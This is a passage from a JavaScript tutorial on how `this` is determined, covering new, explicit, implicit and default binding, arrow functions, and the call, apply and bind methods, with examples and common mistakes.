\"owns\" the method being called. Unlike most languages where `this` is fixed at definition time, JavaScript determines `this` dynamically at **call time**, based on how a function is invoked.\n\n### The Key Insight: Call-Time Binding\n\nHere's what makes JavaScript different from many other languages:\n\n> **`this` is determined when the function is CALLED, not when it's defined.**\n\nThis is called **dynamic binding**, and it's both powerful and confusing. The same function can have different `this` values depending on how you call it:\n\n```javascript\nfunction showThis() {\n  return this;\n}\n\nconst obj = { showThis };\n\n// Same function, different this values:\nshowThis();        // undefined (strict mode) or globalThis\nobj.showThis();    // obj (the object before the dot)\nshowThis.call({}); // {} (explicitly specified)\n```\n\nIn non-strict mode, plain function calls return **[`globalThis`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis)** (the global object: `window` in browsers, `global` in Node.js).\n\n### Why Does JavaScript Work This Way?\n\nThis design allows for incredible flexibility:\n\n1. **Method sharing**: Multiple objects can share the same function\n2. **Dynamic behavior**: Functions can work with any object that has the right properties\n3. **Borrowing methods**: You can use methods from one object on another\n\n```javascript\n// One function, many objects\nfunction greet() {\n  return `Hello, I'm ${this.name}!`;\n}\n\nconst alice = { name: \"Alice\", greet };\nconst bob = { name: \"Bob\", greet };\nconst charlie = { name: \"Charlie\", greet };\n\nalice.greet();    // \"Hello, I'm Alice!\"\nbob.greet();      // \"Hello, I'm Bob!\"\ncharlie.greet();  // \"Hello, I'm Charlie!\"\n```\n\nThe trade-off? You need to understand the rules that determine `this`. Let's dive in.\n\n---\n\n## The 5 Binding Rules (Priority Order)\n\nWhen JavaScript needs to figure out what `this` refers to, it follows these rules **in order of priority**. Higher priority rules override lower ones.\n\n```\nBINDING RULES (Highest to Lowest Priority)\n┌─────────────────────────────────────────┐\n│  1. new Binding          (Highest)      │\n├─────────────────────────────────────────┤\n│  2. Explicit Binding     (call/apply/   │\n│                           bind)         │\n├─────────────────────────────────────────┤\n│  3. Implicit Binding     (method call)  │\n├─────────────────────────────────────────┤\n│  4. Default Binding      (plain call)   │\n├─────────────────────────────────────────┤\n│  5. Arrow Functions      (lexical)      │\n│     (Special case - no own this)        │\n└─────────────────────────────────────────┘\n```\n\n<Note>\nArrow functions are listed last not because they're lowest priority, but because they work differently. As defined in the ECMAScript 2015 specification, arrow functions do not have their own `this` binding at all — they inherit it from the enclosing lexical scope. We'll cover them in detail.\n</Note>\n\n---\n\n### Rule 1: `new` Binding (Highest Priority)\n\nWhen a function is called with the **[`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new)** keyword, `this` is set to a **brand new object** that's automatically created.\n\n```javascript\nclass Person {\n  constructor(name) {\n    // 'this' is the new object being created\n    this.name = name;\n    this.greet = function() {\n      return `Hi, I'm ${this.name}`;\n    };\n  }\n}\n\nconst alice = new Person(\"Alice\");\nconsole.log(alice.name);    // \"Alice\"\nconsole.log(alice.greet()); // \"Hi, I'm Alice\"\n```\n\n#### What `new` Does Under the Hood\n\nWhen you call `new Person(\"Alice\")`, JavaScript performs these 4 steps:\n\n<Steps>\n  <Step title=\"Create an empty object\">\n    A brand new empty object is created: `{}`\n  </Step>\n  \n  <Step title=\"Link the prototype\">\n    The new object's internal `[[Prototype]]` is set to the constructor's **[`prototype`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype)** property.\n    \n    ```javascript\n    // Conceptually:\n    newObject.__proto__ = Person.prototype;\n    ```\n  </Step>\n  \n  <Step title=\"Bind this and execute\">\n    The constructor function is called with `this` bound to the new object. This is where your constructor code runs.\n    \n    ```javascript\n    // Conceptually:\n    Person.call(newObject, \"Alice\");\n    ```\n  </Step>\n  \n  <Step title=\"Return the object\">\n    If the constructor doesn't explicitly return an object, the new object is returned automatically.\n    \n    ```javascript\n    // Conceptually:\n    return newObject;\n    ```\n  </Step>\n</Steps>\n\nHere's a simplified implementation of what `new` does:\n\n```javascript\n// What 'new' does behind the scenes\nfunction simulateNew(Constructor, ...args) {\n  // Step 1: Create empty object\n  const newObject = {};\n  \n  // Step 2: Link prototype if it's an object\n  // (If prototype isn't an object, newObject keeps Object.prototype)\n  if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') {\n    Object.setPrototypeOf(newObject, Constructor.prototype);\n  }\n  \n  // Step 3: Bind this and execute\n  const result = Constructor.apply(newObject, args);\n  \n  // Step 4: Return object (unless constructor returns a non-primitive)\n  return result !== null && typeof result === 'object' ? result : newObject;\n}\n\n// These are equivalent:\nconst alice1 = new Person(\"Alice\");\nconst alice2 = simulateNew(Person, \"Alice\");\n```\n\n#### ES6 Classes: The Modern Syntax\n\nWith ES6 classes, the syntax is cleaner but the behavior is identical:\n\n```javascript\nclass Rectangle {\n  constructor(width, height) {\n    this.width = width;   // 'this' = new Rectangle instance\n    this.height = height;\n  }\n  \n  getArea() {\n    return this.width * this.height;  // 'this' = the instance\n  }\n}\n\nconst rect = new Rectangle(10, 5);\nconsole.log(rect.getArea());  // 50\n```\n\n<Tip>\nFor more on constructors, the `new` keyword, and prototypes, see the [Object Creation & Prototypes](/concepts/object-creation-prototypes) concept page.\n</Tip>\n\n---\n\n### Rule 2: Explicit Binding (`call`, `apply`, `bind`)\n\nYou can explicitly specify what `this` should be using `call()`, `apply()`, or `bind()`. This overrides implicit and default binding.\n\n```javascript\nfunction introduce() {\n  return `I'm ${this.name}, a ${this.role}`;\n}\n\nconst alice = { name: \"Alice\", role: \"developer\" };\nconst bob = { name: \"Bob\", role: \"designer\" };\n\n// Explicitly set 'this' to alice\nintroduce.call(alice);   // \"I'm Alice, a developer\"\n\n// Explicitly set 'this' to bob\nintroduce.call(bob);     // \"I'm Bob, a designer\"\n```\n\nWe'll cover `call`, `apply`, and `bind` in detail in the next section. For now, just know that explicit binding has higher priority than implicit binding:\n\n```javascript\nconst alice = {\n  name: \"Alice\",\n  greet() {\n    return `Hi, I'm ${this.name}`;\n  }\n};\n\nconst bob = { name: \"Bob\" };\n\n// Even though we're calling alice.greet(), we can override 'this'\nalice.greet.call(bob);  // \"Hi, I'm Bob\" (explicit wins!)\n```\n\n---\n\n### Rule 3: Implicit Binding (Method Call)\n\nWhen a function is called as a **method of an object** (using dot notation), `this` is set to the object **before the dot**.\n\n```javascript\nconst user = {\n  name: \"Alice\",\n  greet() {\n    return `Hello, I'm ${this.name}`;\n  }\n};\n\n// The object before the dot becomes 'this'\nuser.greet();  // \"Hello, I'm Alice\" (this = user)\n```\n\n#### The \"Left of the Dot\" Rule\n\nA simple way to remember: **look left of the dot** when the function is called.\n\n```javascript\nconst company = {\n  name: \"TechCorp\",\n  department: {\n    name: \"Engineering\",\n    getName() {\n      return this.name;\n    }\n  }\n};\n\n// What's left of the dot at call time?\ncompany.department.getName();  // \"Engineering\" (this = department)\n```\n\n<Warning>\n**Common trap**: It's the object immediately before the dot that matters, not the outermost object. In the example above, `this` is `department`, not `company`.\n</Warning>\n\n#### The Implicit Binding Gotcha: Lost Context\n\nThis trips up many developers. When you **extract a method** from an object, it loses its implicit binding:\n\n```javascript\nconst user = {\n  name: \"Alice\",\n  greet() {\n    return `Hello, I'm ${this.name}`;\n  }\n};\n\n// This works\nuser.greet();  // \"Hello, I'm Alice\"\n\n// But extracting the method loses 'this'!\nconst greetFn = user.greet;\ngreetFn();     // \"Hello, I'm undefined\" (strict mode: this = undefined)\n```\n\nWhy? Because `greetFn()` is a plain function call. There's no dot, so implicit binding doesn't apply. We fall through to default binding.\n\n```\nIMPLICIT BINDING LOST\n┌─────────────────────────────────────────────────────────────┐\n│                                                             │\n│   user.greet()                                              │\n│        ↑                                                    │\n│        └── Object before dot → this = user ✓               │\n│                                                             │\n│   const greetFn = user.greet;                               │\n│   greetFn()                                                 │\n│       ↑                                                     │\n│       └── No dot! → Default binding → this = undefined ✗   │\n│                                                             │\n└─────────────────────────────────────────────────────────────┘\n```\n\nThis happens constantly with:\n- Callbacks: `setTimeout(user.greet, 1000)`\n- Event handlers: `button.addEventListener('click', user.greet)`\n- Array methods: `[1,2,3].forEach(user.process)`\n\nWe'll cover solutions in the \"Gotchas\" section.\n\n---\n\n### Rule 4: Default Binding (Plain Function Call)\n\nWhen a function is called without any of the above conditions, **default binding** applies.\n\nIn **[strict mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)** (which you should always use): `this` is `undefined`.\n\nIn non-strict mode: `this` is the global object (`window` in browsers, `global` in Node.js).\n\n```javascript\n\"use strict\";\n\nfunction showThis() {\n  return this;\n}\n\nshowThis();  // undefined (strict mode)\n```\n\n```javascript\n// Without strict mode (not recommended)\nfunction showThis() {\n  return this;\n}\n\nshowThis();  // window (in browser) or global (in Node.js)\n```\n\n<Warning>\n**Always use strict mode!** Non-strict mode's default binding to `globalThis` is dangerous. It can accidentally create or modify global variables, leading to hard-to-find bugs.\n\nES6 modules and classes are automatically in strict mode.\n</Warning>\n\n#### When Default Binding Applies\n\nDefault binding kicks in when:\n\n1. **Plain function call**: `myFunction()`\n2. **IIFE**: `(function() { ... })()`\n3. **Callback without binding**: `setTimeout(function() { ... }, 100)`\n\n```javascript\n\"use strict\";\n\n// All of these use default binding (this = undefined)\nfunction regularFunction() {\n  return this;\n}\n\nregularFunction();  // undefined\n\n(function() {\n  return this;  // undefined\n})();\n\nsetTimeout(function() {\n  console.log(this);  // undefined\n}, 100);\n```\n\n---\n\n### Rule 5: Arrow Functions (Lexical `this`)\n\n**[Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)** are **special**. They don't have their own `this` binding at all. Instead, they **inherit `this`** from their enclosing scope at the time they're defined.\n\n```javascript\nconst user = {\n  name: \"Alice\",\n  \n  // Regular function: 'this' is determined by how it's called\n  regularGreet: function() {\n    return `Hi, I'm ${this.name}`;\n  },\n  \n  // Arrow function: 'this' is inherited from where it's defined\n  arrowGreet: () => {\n    return `Hi, I'm ${this.name}`;\n  }\n};\n\nuser.regularGreet();  // \"Hi, I'm Alice\" (this = user)\nuser.arrowGreet();    // \"Hi, I'm undefined\" (this = enclosing scope, not user!)\n```\n\nWait, why is `arrowGreet` showing `undefined`? Because the arrow function was defined in the object literal, and the enclosing scope at that point is the module/global scope, not the `user` object.\n\n#### Where Arrow Functions Shine\n\nArrow functions are perfect for **callbacks** where you want to preserve the outer `this`:\n\n```javascript\nclass Counter {\n  constructor() {\n    this.count = 0;\n  }\n  \n  // Problem: regular function loses 'this' in callback\n  startBroken() {\n    setInterval(function() {\n      this.count++;  // ERROR: 'this' is undefined!\n      console.log(this.count);\n    }, 1000);\n  }\n  \n  // Solution: arrow function preserves 'this'\n  startFixed() {\n    setInterval(() => {\n      this.count++;  // Works! 'this' is the Counter instance\n      console.log(this.count);\n    }, 1000);\n  }\n}\n```\n\n#### Arrow Functions Cannot Be Rebound\n\nYou cannot change an arrow function's `this` using `call`, `apply`, or `bind`:\n\n```javascript\nconst arrowFn = () => this;\n\nconst obj = { name: \"Object\" };\n\n// These all return the same thing - the lexical 'this'\narrowFn();            // lexical this\narrowFn.call(obj);    // lexical this (call is ignored!)\narrowFn.apply(obj);   // lexical this (apply is ignored!)\narrowFn.bind(obj)();  // lexical this (bind is ignored!)\n```\n\n#### Arrow Functions as Class Fields\n\nA common modern pattern is using arrow functions as class methods:\n\n```javascript\nclass Button {\n  constructor(label) {\n    this.label = label;\n  }\n  \n  // Arrow function as class field - 'this' is always the instance\n  handleClick = () => {\n    console.log(`Button \"${this.label}\" clicked`);\n  }\n}\n\nconst btn = new Button(\"Submit\");\n\n// Works even when extracted!\nconst handler = btn.handleClick;\nhandler();  // \"Button \"Submit\" clicked\" ✓\n\n// Works in event listeners!\ndocument.querySelector('button').addEventListener('click', btn.handleClick);\n```\n\n<Tip>\nThis pattern is widely used in React class components and other UI frameworks to ensure event handlers always have the correct `this`.\n</Tip>\n\n---\n\n## The Decision Flowchart\n\nWhen you need to figure out what `this` is, follow this flowchart:\n\n```\n                    ┌─────────────────────────┐\n                    │  Is it an arrow         │\n                    │  function?              │\n                    └───────────┬─────────────┘\n                           │    │\n                    YES ◄──┘    └──► NO\n                     │               │\n                     ▼               ▼\n        ┌─────────────────┐    ┌─────────────────────┐\n        │ this = enclosing│    │ Was it called with  │\n        │ scope's this    │    │ 'new'?              │\n        │ (DONE)          │    └──────────┬──────────┘\n        └─────────────────┘           │    │\n                                YES ◄─┘    └──► NO\n                                 │               │\n                                 ▼               ▼\n                    ┌─────────────────┐    ┌─────────────────────┐\n                    │ this = new      │    │ Was call/apply/bind │\n                    │ object          │    │ used?               │\n                    │ (DONE)          │    └──────────┬──────────┘\n                    └─────────────────┘           │    │\n                                           YES ◄──┘    └──► NO\n                                            │               │\n                                            ▼               ▼\n                               ┌─────────────────┐    ┌─────────────────────┐\n                               │ this = specified│    │ Was it called as    │\n                               │ object          │    │ obj.method()?       │\n                               │ (DONE)          │    └──────────┬──────────┘\n                               └─────────────────┘           │    │\n                                                      YES ◄──┘    └──► NO\n                                                       │               │\n                                                       ▼               ▼\n                                          ┌─────────────────┐    ┌─────────────────┐\n                                          │ this = obj      │    │ Default binding:│\n                                          │ (left of dot)   │    │ this = undefined│\n                                          │ (DONE)          │    │ (strict mode)   │\n                                          └─────────────────┘    └─────────────────┘\n```\n\n---\n\n## How Do `call()`, `apply()`, and `bind()` Work?\n\nThese three methods give you explicit control over `this`. They're built into every function in JavaScript.\n\n### Quick Comparison\n\n| Method | Invokes Function? | Arguments | Returns |\n|--------|-------------------|-----------|---------|\n| `call()` | Yes, immediately | Individual: `call(this, a, b, c)` | Function result |\n| `apply()` | Yes, immediately | Array: `apply(this, [a, b, c])` | Function result |\n| `bind()` | No | Individual: `bind(this, a, b)` | New function |\n\n**Memory trick:**\n- **C**all = **C**ommas (arguments separated by commas)\n- **A**pply = **A**rray (arguments in an array)\n- **B**ind = **B**ack later (returns a function for later use)\n\n---\n\n### `call()` — Call with This\n\nThe `call()` method calls a function with a specified `this` value and arguments provided **individually**.\n\n**Syntax:**\n```javascript\nfunc.call(thisArg, arg1, arg2, ...)\n```\n\n**Basic example:**\n```javascript\nfunction greet(greeting, punctuation) {\n  return `${greeting}, I'm ${this.name}${punctuation}`;\n}\n\nconst alice = { name: \"Alice\" };\nconst bob = { name: \"Bob\" };\n\ngreet.call(alice, \"Hello\", \"!\");   // \"Hello, I'm Alice!\"\ngreet.call(bob, \"Hi\", \"...\");      // \"Hi, I'm Bob...\"\n```\n\n#### Use Case: Method Borrowing\n\n`call()` is perfect for borrowing methods from one object to use on another:\n\n```javascript\nconst arrayLike = {\n  0: \"a\",\n  1: \"b\", \n  2: \"c\",\n  length: 3\n};\n\n// arrayLike doesn't have array methods, but we can borrow them!\nconst result = Array.prototype.slice.call(arrayLike);\nconsole.log(result);  // [\"a\", \"b\", \"c\"]\n\nconst joined = Array.prototype.join.call(arrayLike, \"-\");\nconsole.log(joined);  // \"a-b-c\"\n```\n\n#### Use Case: Calling Parent Methods\n\n```javascript\nclass Animal {\n  constructor(name) {\n    this.name = name;\n  }\n  \n  speak() {\n    return `${this.name} makes a sound`;\n  }\n}\n\nclass Dog extends Animal {\n  speak() {\n    // Call parent method with 'this' context\n    const parentSays = Animal.prototype.speak.call(this);\n    return `${parentSays}. ${this.name} barks!`;\n  }\n}\n\nconst dog = new Dog(\"Rex\");\ndog.speak();  // \"Rex makes a sound. Rex barks!\"\n```\n\n---\n\n### `apply()` — Apply with Array\n\nThe `apply()` method is almost identical to `call()`, but arguments are passed as an **array** (or array-like object).\n\n**Syntax:**\n```javascript\nfunc.apply(thisArg, [arg1, arg2, ...])\n```\n\n**Basic example:**\n```javascript\nfunction greet(greeting, punctuation) {\n  return `${greeting}, I'm ${this.name}${punctuation}`;\n}\n\nconst alice = { name: \"Alice\" };\n\n// Same result as call(), but args in an array\ngreet.apply(alice, [\"Hello\", \"!\"]);  // \"Hello, I'm Alice!\"\n```\n\n#### Classic Use Case: Finding Max/Min\n\nBefore ES6, `apply()` was the way to use `Math.max()` with an array:\n\n```javascript\nconst numbers = [5, 2, 9, 1, 7];\n\n// Old way with apply\nconst max = Math.max.apply(null, numbers);  // 9\nconst min = Math.min.apply(null, numbers);  // 1\n```\n\n<Tip>\n**Modern alternative:** Use the spread operator instead!\n\n```javascript\nconst numbers = [5, 2, 9, 1, 7];\nconst max = Math.max(...numbers);  // 9\nconst min = Math.min(...numbers);  // 1\n```\n\nThe spread syntax is cleaner and more readable. Use `apply()` mainly when you need to set `this` AND spread arguments.\n</Tip>\n\n#### When Arguments Are Already an Array\n\n`apply()` shines when your arguments are already in array form:\n\n```javascript\nfunction introduce(greeting, role, company) {\n  return `${greeting}! I'm ${this.name}, ${role} at ${company}.`;\n}\n\nconst alice = { name: \"Alice\" };\nconst args = [\"Hello\", \"engineer\", \"TechCorp\"];\n\n// When args are already an array, apply is natural\nintroduce.apply(alice, args);  // \"Hello! I'm Alice, engineer at TechCorp.\"\n\n// With call, you'd need to spread\nintroduce.call(alice, ...args);  // Same result\n```\n\n---\n\n### `bind()` — Bind for Later\n\nThe `bind()` method is different from `call()` and `apply()`. It doesn't call the function immediately. Instead, it returns a **new function** with `this` permanently bound.\n\n**Syntax:**\n```javascript\nconst boundFunc = func.bind(thisArg, arg1, arg2, ...)\n```\n\n**Basic example:**\n```javascript\nfunction greet() {\n  return `Hello, I'm ${this.name}`;\n}\n\nconst alice = { name: \"Alice\" };\n\n// bind() returns a NEW function\nconst greetAlice = greet.bind(alice);\n\n// Call it whenever you want\ngreetAlice();  // \"Hello, I'm Alice\"\ngreetAlice();  // \"Hello, I'm Alice\" (still works!)\n```\n\n#### Key Characteristic: Permanent Binding\n\nOnce bound, the `this` value cannot be changed, not even with `call()` or `apply()`:\n\n```javascript\nfunction showThis() {\n  return this.name;\n}\n\nconst alice = { name: \"Alice\" };\nconst bob = { name: \"Bob\" };\n\nconst boundToAlice = showThis.bind(alice);\n\nboundToAlice();            // \"Alice\"\nboundToAlice.call(bob);    // \"Alice\" (call ignored!)\nboundToAlice.apply(bob);   // \"Alice\" (apply ignored!)\nboundToAlice.bind(bob)();  // \"Alice\" (bind ignored!)\n```\n\n#### Use Case: Event Handlers\n\nThis is a common use of `bind()`:\n\n```javascript\nclass Toggle {\n  constructor() {\n    this.isOn = false;\n    \n    // Without bind, 'this' would be the button element\n    this.handleClick = this.handleClick.bind(this);\n  }\n  \n  handleClick() {\n    this.isOn = !this.isOn;\n    console.log(`Toggle is ${this.isOn ? 'ON' : 'OFF'}`);\n  }\n  \n  attachTo(button) {\n    button.addEventListener('click', this.handleClick);\n  }\n}\n```\n\n#### Use Case: setTimeout and setInterval\n\n```javascript\nclass Countdown {\n  constructor(start) {\n    this.count = start;\n  }\n  \n  start() {\n    // Without bind, 'this' would be undefined in the callback\n    setInterval(this.tick.bind(this), 1000);\n  }\n  \n  tick() {\n    console.log(this.count--);\n  }\n}\n\nconst countdown = new Countdown(10);\ncountdown.start();  // 10, 9, 8, 7...\n```\n\n#### Use Case: Partial Application\n\n`bind()` can also pre-fill arguments, creating a specialized version of a function:\n\n```javascript\nfunction multiply(a, b) {\n  return a * b;\n}\n\n// Create specialized functions\nconst double = multiply.bind(null, 2);    // 'a' is always 2\nconst triple = multiply.bind(null, 3);    // 'a' is always 3\n\ndouble(5);  // 10 (2 * 5)\ntriple(5);  // 15 (3 * 5)\ndouble(7);  // 14 (2 * 7)\n```\n\nThis technique is called **partial application**. You're partially applying arguments to create a more specific function.\n\n```javascript\nfunction greet(greeting, name) {\n  return `${greeting}, ${name}!`;\n}\n\n// Partial application: pre-fill the greeting\nconst sayHello = greet.bind(null, \"Hello\");\nconst sayGoodbye = greet.bind(null, \"Goodbye\");\n\nsayHello(\"Alice\");    // \"Hello, Alice!\"\nsayHello(\"Bob\");      // \"Hello, Bob!\"\nsayGoodbye(\"Alice\");  // \"Goodbye, Alice!\"\n```\n\n---\n\n## Common Patterns & Use Cases\n\n### Pattern 1: Method Borrowing\n\nUse array methods on array-like objects:\n\n```javascript\n// Arguments object (old-school, but still seen in legacy code)\nfunction sum() {\n  // 'arguments' is array-like but not an array (see MDN: Arguments object)\n  return Array.prototype.reduce.call(\n    arguments,\n    (total, n) => total + n,\n    0\n  );\n}\n\nsum(1, 2, 3, 4);  // 10\n\n// NodeList from DOM (browser-only example)\nconst divs = document.querySelectorAll('div');  // NodeList, not Array\nconst texts = Array.prototype.map.call(divs, div => div.textContent);\n\n// Modern alternative: Array.from()\nconst textsModern = Array.from(divs).map(div => div.textContent);\n// Or spread\nconst textsSpread = [...divs].map(div => div.textContent);\n```\n\n### Pattern 2: Preserving Context in Classes\n\nThe three main approaches to ensure `this` is correct in class methods:\n\n```javascript\nclass Player {\n  constructor(name) {\n    this.name = name;\n    this.score = 0;\n    \n    // Approach 1: Bind in constructor\n    this.incrementBound = this.incrementBound.bind(this);\n  }\n  \n  // Regular method - needs binding when used as callback\n  incrementBound() {\n    this.score++;\n    return this.score;\n  }\n  \n  // Approach 2: Arrow function class field\n  incrementArrow = () => {\n    this.score++;\n    return this.score;\n  }\n  \n  // Approach 3: Bind at call site (inline)\n  regularIncrement() {\n    this.score++;\n    return this.score;\n  }\n}\n\nconst player = new Player(\"Alice\");\n\n// All these work correctly:\nsetTimeout(player.incrementBound, 100);     // Approach 1\nsetTimeout(player.incrementArrow, 100);     // Approach 2\nsetTimeout(player.regularIncrement.bind(player), 100);  // Approach 3\nsetTimeout(() => player.regularIncrement(), 100);       // Approach 3 alt\n```\n\n<Tip>\n**Which approach is best?**\n\n- **Arrow class fields** (Approach 2) are the cleanest for most cases\n- **Bind in constructor** (Approach 1) is useful when you need the method to also work as a regular method\n- **Inline bind/arrow** (Approach 3) is fine for one-off uses but creates new functions each render in React\n</Tip>\n\n### Pattern 3: Partial Application for Reusable Functions\n\n```javascript\n// Generic logging function\nfunction log(level, timestamp, message) {\n  console.log(`[${level}] ${timestamp}: ${message}`);\n}\n\n// Create specialized loggers\nconst logError = log.bind(null, \"ERROR\");\nconst logWarning = log.bind(null, \"WARNING\");\nconst logInfo = log.bind(null, \"INFO\");\n\nconst now = new Date().toISOString();\n\nlogError(now, \"Database connection failed\");\n// [ERROR] 2024-01-15T10:30:00.000Z: Database connection failed\n\nlogInfo(now, \"Server started\");\n// [INFO] 2024-01-15T10:30:00.000Z: Server started\n```\n\n---\n\n## The Gotchas: Where `this` Goes Wrong\n\n<AccordionGroup>\n  <Accordion title=\"Gotcha 1: Lost Context in Callbacks\">\n    **The problem:**\n    ```javascript\n    class Timer {\n      constructor() {\n        this.seconds = 0;\n      }\n      \n      start() {\n        setInterval(function() {\n          this.seconds++;  // ERROR: this is undefined!\n          console.log(this.seconds);\n        }, 1000);\n      }\n    }\n    ```\n    \n    **Why it happens:** The callback function uses default binding, so `this` is `undefined` in strict mode.\n    \n    **Solutions:**\n    ```javascript\n    // Solution 1: Arrow function\n    start() {\n      setInterval(() => {\n        this.seconds++;  // ✓ Arrow inherits 'this'\n      }, 1000);\n    }\n    \n    // Solution 2: bind()\n    start() {\n      setInterval(function() {\n        this.seconds++;  // ✓ Bound to Timer instance\n      }.bind(this), 1000);\n    }\n    \n    // Solution 3: Store reference (old-school)\n    start() {\n      const self = this;\n      setInterval(function() {\n        self.seconds++;  // ✓ Using closure\n      }, 1000);\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Gotcha 2: Extracting Methods from Objects\">\n    **The problem:**\n    ```javascript\n    const user = {\n      name: \"Alice\",\n      greet() {\n        return `Hi, I'm ${this.name}`;\n      }\n    };\n    \n    const greet = user.greet;\n    greet();  // \"Hi, I'm undefined\"\n    ```\n    \n    **Why it happens:** Assigning the method to a variable loses the implicit binding.\n    \n    **Solutions:**\n    ```javascript\n    // Solution 1: Keep as method call\n    user.greet();  // ✓ \"Hi, I'm Alice\"\n    \n    // Solution 2: Bind when extracting\n    const greet = user.greet.bind(user);\n    greet();  // ✓ \"Hi, I'm Alice\"\n    \n    // Solution 3: Wrapper function\n    const greet = () => user.greet();\n    greet();  // ✓ \"Hi, I'm Alice\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Gotcha 3: Nested Functions Inside Methods\">\n    **The problem:**\n    ```javascript\n    const calculator = {\n      value: 0,\n      \n      add(numbers) {\n        numbers.forEach(function(n) {\n          this.value += n;  // ERROR: this is undefined!\n        });\n        return this.value;\n      }\n    };\n    ```\n    \n    **Why it happens:** The inner function has its own `this` (default binding), it doesn't inherit from `add()`.\n    \n    **Solutions:**\n    ```javascript\n    // Solution 1: Arrow function (recommended)\n    add(numbers) {\n      numbers.forEach((n) => {\n        this.value += n;  // ✓ Arrow inherits 'this'\n      });\n      return this.value;\n    }\n    \n    // Solution 2: Use thisArg parameter\n    add(numbers) {\n      numbers.forEach(function(n) {\n        this.value += n;  // ✓ 'this' passed as second arg\n      }, this);\n      return this.value;\n    }\n    \n    // Solution 3: bind()\n    add(numbers) {\n      numbers.forEach(function(n) {\n        this.value += n;  // ✓ Bound to calculator\n      }.bind(this));\n      return this.value;\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Gotcha 4: Arrow Functions as Methods\">\n    **The problem:**\n    ```javascript\n    const user = {\n      name: \"Alice\",\n      greet: () => {\n        return `Hi, I'm ${this.name}`;  // 'this' is NOT user!\n      }\n    };\n    \n    user.greet();  // \"Hi, I'm undefined\"\n    ```\n    \n    **Why it happens:** Arrow functions don't have their own `this`. The `this` here is from the surrounding scope (module/global), not `user`.\n    \n    **Solution:** Use regular functions for object methods:\n    ```javascript\n    const user = {\n      name: \"Alice\",\n      greet() {  // Shorthand method syntax\n        return `Hi, I'm ${this.name}`;  // ✓ this = user\n      }\n    };\n    \n    user.greet();  // \"Hi, I'm Alice\"\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Arrow Functions: The Modern Solution\n\nArrow functions were introduced in ES6 partly to solve `this` confusion. They work fundamentally differently.\n\n### How Arrow Functions Handle `this`\n\n1. **No own `this`**: Arrow functions don't create their own `this` binding\n2. **Lexical inheritance**: They use `this` from the enclosing scope\n3. **Permanent**: Cannot be changed by `call`, `apply`, or `bind`\n\n```javascript\nconst obj = {\n  name: \"Object\",\n  \n  regularMethod: function() {\n    console.log(\"Regular:\", this.name);  // \"Object\"\n    \n    // Nested regular function - loses 'this'\n    function inner() {\n      console.log(\"Inner regular:\", this);  // undefined\n    }\n    inner();\n    \n    // Nested arrow function - keeps 'this'\n    const innerArrow = () => {\n      console.log(\"Inner arrow:\", this.name);  // \"Object\"\n    };\n    innerArrow();\n  }\n};\n```\n\n### When to Use Arrow Functions vs Regular Functions\n\n| Use Case | Arrow Function | Regular Function |\n|----------|---------------|------------------|\n| Object methods | ❌ No | ✅ Yes |\n| Class methods (in prototype) | ❌ No | ✅ Yes |\n| Callbacks needing outer `this` | ✅ Yes | ❌ No (needs bind) |\n| Event handlers in classes | ✅ Yes (as class fields) | ⚠️ Needs binding |\n| Functions needing own `this` | ❌ No | ✅ Yes |\n| Constructor functions | ❌ No (can't use `new`) | ✅ Yes |\n| Methods using [`arguments`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments) | ❌ No (no `arguments`) | ✅ Yes |\n\n### Arrow Functions as Class Fields\n\nThis is the most common pattern in modern JavaScript:\n\n```javascript\nclass SearchBox {\n  constructor(element) {\n    this.element = element;\n    this.query = \"\";\n    \n    // Attach event listener - arrow function ensures correct 'this'\n    this.element.addEventListener('input', this.handleInput);\n  }\n  \n  // Arrow function as class field\n  handleInput = (event) => {\n    this.query = event.target.value;  // 'this' is always SearchBox instance\n    this.performSearch();\n  }\n  \n  performSearch = () => {\n    console.log(`Searching for: ${this.query}`);\n  }\n}\n```\n\n### Limitations of Arrow Functions\n\n```javascript\n// 1. Cannot be used with 'new'\nconst ArrowClass = () => {};\nnew ArrowClass();  // TypeError: ArrowClass is not a constructor\n\n// 2. No own 'arguments' object\n// Arrow functions inherit 'arguments' from enclosing function scope (if any)\nfunction outer() {\n  const arrow = () => {\n    console.log(arguments);  // Works! Uses outer's arguments\n  };\n  arrow();\n}\nouter(1, 2, 3);  // logs [1, 2, 3]\n\n// But at module/global scope with no enclosing function:\nconst arrow = () => {\n  console.log(arguments);  // ReferenceError: arguments is not defined\n};\n\n// Use rest parameters instead (recommended)\nconst arrowWithRest = (...args) => {\n  console.log(args);  // Works everywhere!\n};\n\n// 3. No own 'super' binding (inherits from enclosing class method if any)\n\n// 4. Cannot be used as generators\n// There's no arrow generator syntax - you must use function*\nfunction* generatorFn() { yield 1; }  // Works\n// () =>* { yield 1; }                // No such syntax exists\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about `this`, `call`, `apply`, and `bind`:**\n\n1. **`this` is determined at call time** — Not when the function is defined, but when it's called. This is called dynamic binding.\n\n2. **5 binding rules in priority order** — new binding > explicit binding > implicit binding > default binding (arrow functions are special).\n\n3. **\"Left of the dot\" rule** — In method calls like `obj.method()`, `this` is the object immediately left of the dot.\n\n4. **Extracting methods loses `this`** — `const fn = obj.method; fn()` loses implicit binding. This is the #1 source of `this` bugs.\n\n5. **`call()` and `apply()` invoke immediately** — They set `this` and call the function right away. `call` takes comma-separated args, `apply` takes an array.\n\n6. **`bind()` returns a new function** — It permanently binds `this` for later use. The binding cannot be overridden, even with `call` or `apply`.\n\n7. **Arrow functions have no own `this`** — They inherit `this` from their enclosing scope (lexical binding). Perfect for callbacks.\n\n8. **Arrow functions can't be rebound** — `call`, `apply`, and `bind` have no effect on arrow functions' `this`.\n\n9. **Use arrow class fields for event handlers** — `handleClick = () => {}` ensures `this` is always the instance, even when extracted.\n\n10. **Strict mode changes default binding** — In strict mode, plain function calls have `this` as `undefined`, not the global object.\n</Info>\n\n---\n\n## Test Your Knowledge\n\nTry to 